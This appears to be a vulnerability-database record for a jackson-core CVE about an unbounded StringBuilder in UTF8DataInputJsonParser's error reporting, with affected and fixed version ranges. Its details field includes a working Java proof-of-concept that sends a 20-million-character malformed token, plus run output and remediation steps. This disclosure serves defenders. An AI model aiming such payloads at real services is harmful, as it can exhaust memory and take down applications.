{"schema":"threatline.record/2","record":{"id":"CVE-2026-89425","aliases":["GHSA-7hhh-6rmp-j9qf"],"summary":"jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)","details":"## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n  (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n    StringBuilder sb = new StringBuilder(matchedPart);\n    while (true) {\n        char c = (char) _decodeCharForError(ch);\n        if (!Character.isJavaIdentifierPart(c)) {\n            break;\n        }\n        sb.append(c);\n        ch = _inputData.readUnsignedByte();\n    }\n    _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n    sb.append(\"...\");\n    break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n    static class RepeatingByteInputStream extends InputStream {\n        private final int b;\n        private long remaining;\n        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n        @Override public int read() {\n            if (remaining <= 0) return -1;\n            remaining--;\n            return b;\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n        System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n                + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n                + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n        System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            DataInputStream dataIn = new DataInputStream(raw);\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n            long heapBefore = usedHeap();\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            long heapAfter = usedHeap();\n\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n            System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n                    + \"-character payload (unbounded)? \" + (msgLen > 1_000_000));\n        }\n\n        System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser(raw);\n\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen < 500));\n        }\n    }\n\n    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n    }\n\n    static long usedHeap() {\n        Runtime rt = Runtime.getRuntime();\n        System.gc();\n        return rt.totalMemory() - rt.freeMemory();\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n   `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n   limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n   exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n   `ParserMinimalBase` to prevent this class of per-implementation drift recurring.","categories":["Libraries & packages"],"product":"com.fasterxml.jackson.core:jackson-core","vendor":"FasterXML","ecosystem":"maven","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"range":">= 2.19.0, <= 2.21.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"range":">= 2.22.0, <= 2.22.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"range":">= 3.0.0, <= 3.1.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"range":">= 3.2.0, <= 3.2.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"range":">= 2.8.0, <= 2.18.10"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-89425","source_modified_at":"2026-09-23T14:00:42.979Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"jackson-core","vendor":"FasterXML","versions":[{"status":"affected","version":"2.8.0","lessThanOrEqual":"2.18.10","versionType":"maven"},{"status":"affected","version":"2.19.0","lessThanOrEqual":"2.21.6","versionType":"maven"},{"status":"affected","version":"2.22.0","lessThanOrEqual":"2.22.2","versionType":"maven"}],"defaultStatus":"unaffected"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-89425","source_modified_at":"2026-09-23T14:00:42.979Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"jackson-core","vendor":"FasterXML","versions":[{"status":"affected","version":"3.0.0","lessThanOrEqual":"3.1.6","versionType":"maven"},{"status":"affected","version":"3.2.0","lessThanOrEqual":"3.2.2","versionType":"maven"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-core","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"ranges":[{"events":[{"introduced":"2.19.0"},{"fixed":"2.21.7"}],"type":"ECOSYSTEM"}],"versions":["2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.20.0","2.20.0-rc1","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3","2.21.4","2.21.5","2.21.6"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-core","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"ranges":[{"events":[{"introduced":"2.22.0"},{"fixed":"2.22.3"}],"type":"ECOSYSTEM"}],"versions":["2.22.0","2.22.1","2.22.2"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"tools.jackson.core:jackson-core","purl":"pkg:maven/tools.jackson.core/jackson-core"},"ranges":[{"events":[{"introduced":"3.0.0"},{"fixed":"3.1.7"}],"type":"ECOSYSTEM"}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.1.0-rc1","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"tools.jackson.core:jackson-core","purl":"pkg:maven/tools.jackson.core/jackson-core"},"ranges":[{"events":[{"introduced":"3.2.0"},{"fixed":"3.2.3"}],"type":"ECOSYSTEM"}],"versions":["3.2.0","3.2.1","3.2.2"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-core","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"ranges":[{"events":[{"introduced":"2.8.0"},{"fixed":"2.18.11"}],"type":"ECOSYSTEM"}],"versions":["2.10.0","2.10.0.pr1","2.10.0.pr2","2.10.0.pr3","2.10.1","2.10.2","2.10.3","2.10.4","2.10.5","2.11.0","2.11.0.rc1","2.11.1","2.11.2","2.11.3","2.11.4","2.12.0","2.12.0-rc1","2.12.0-rc2","2.12.1","2.12.2","2.12.3","2.12.4","2.12.5","2.12.6","2.12.7","2.13.0","2.13.0-rc1","2.13.0-rc2","2.13.1","2.13.2","2.13.3","2.13.4","2.13.5","2.14.0","2.14.0-rc1","2.14.0-rc2","2.14.0-rc3","2.14.1","2.14.2","2.14.3","2.15.0","2.15.0-rc1","2.15.0-rc2","2.15.0-rc3","2.15.1","2.15.2","2.15.3","2.15.4","2.16.0","2.16.0-rc1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"version":"2.21.7"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"version":"2.22.3"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"version":"3.1.7"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"version":"3.2.3"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:20:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"version":"2.18.11"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-core","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"version":"2.21.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-core","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"version":"2.22.3"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"tools.jackson.core:jackson-core","purl":"pkg:maven/tools.jackson.core/jackson-core"},"version":"3.1.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"tools.jackson.core:jackson-core","purl":"pkg:maven/tools.jackson.core/jackson-core"},"version":"3.2.3"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","source_modified_at":"2026-10-01T15:30:05.552671898Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-core","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"version":"2.18.11"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00492,"percentile":0.41399,"score_date":"2026-10-23"},"published_at":"2026-09-23T02:06:10.571Z","modified_at":"2026-10-01T15:30:05.552671898Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:20:28Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-89425","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-23T14:00:42.979Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-7hhh-6rmp-j9qf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:30:05.552671898Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89425","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89425","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/FasterXML/jackson-core/pull/1698","tags":["patch"]},{"url":"https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3","source":"GitHub Advisory Database"},{"url":"https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11","source":"GitHub Advisory Database"},{"url":"https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-09-23T13:54:51.050132Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-01T15:30:05.552671898Z","content_hash":"a8af8f37aec5fd504be67eead93418d7c2c3066225914c2b74e3bf6ef7f44ba7"}}
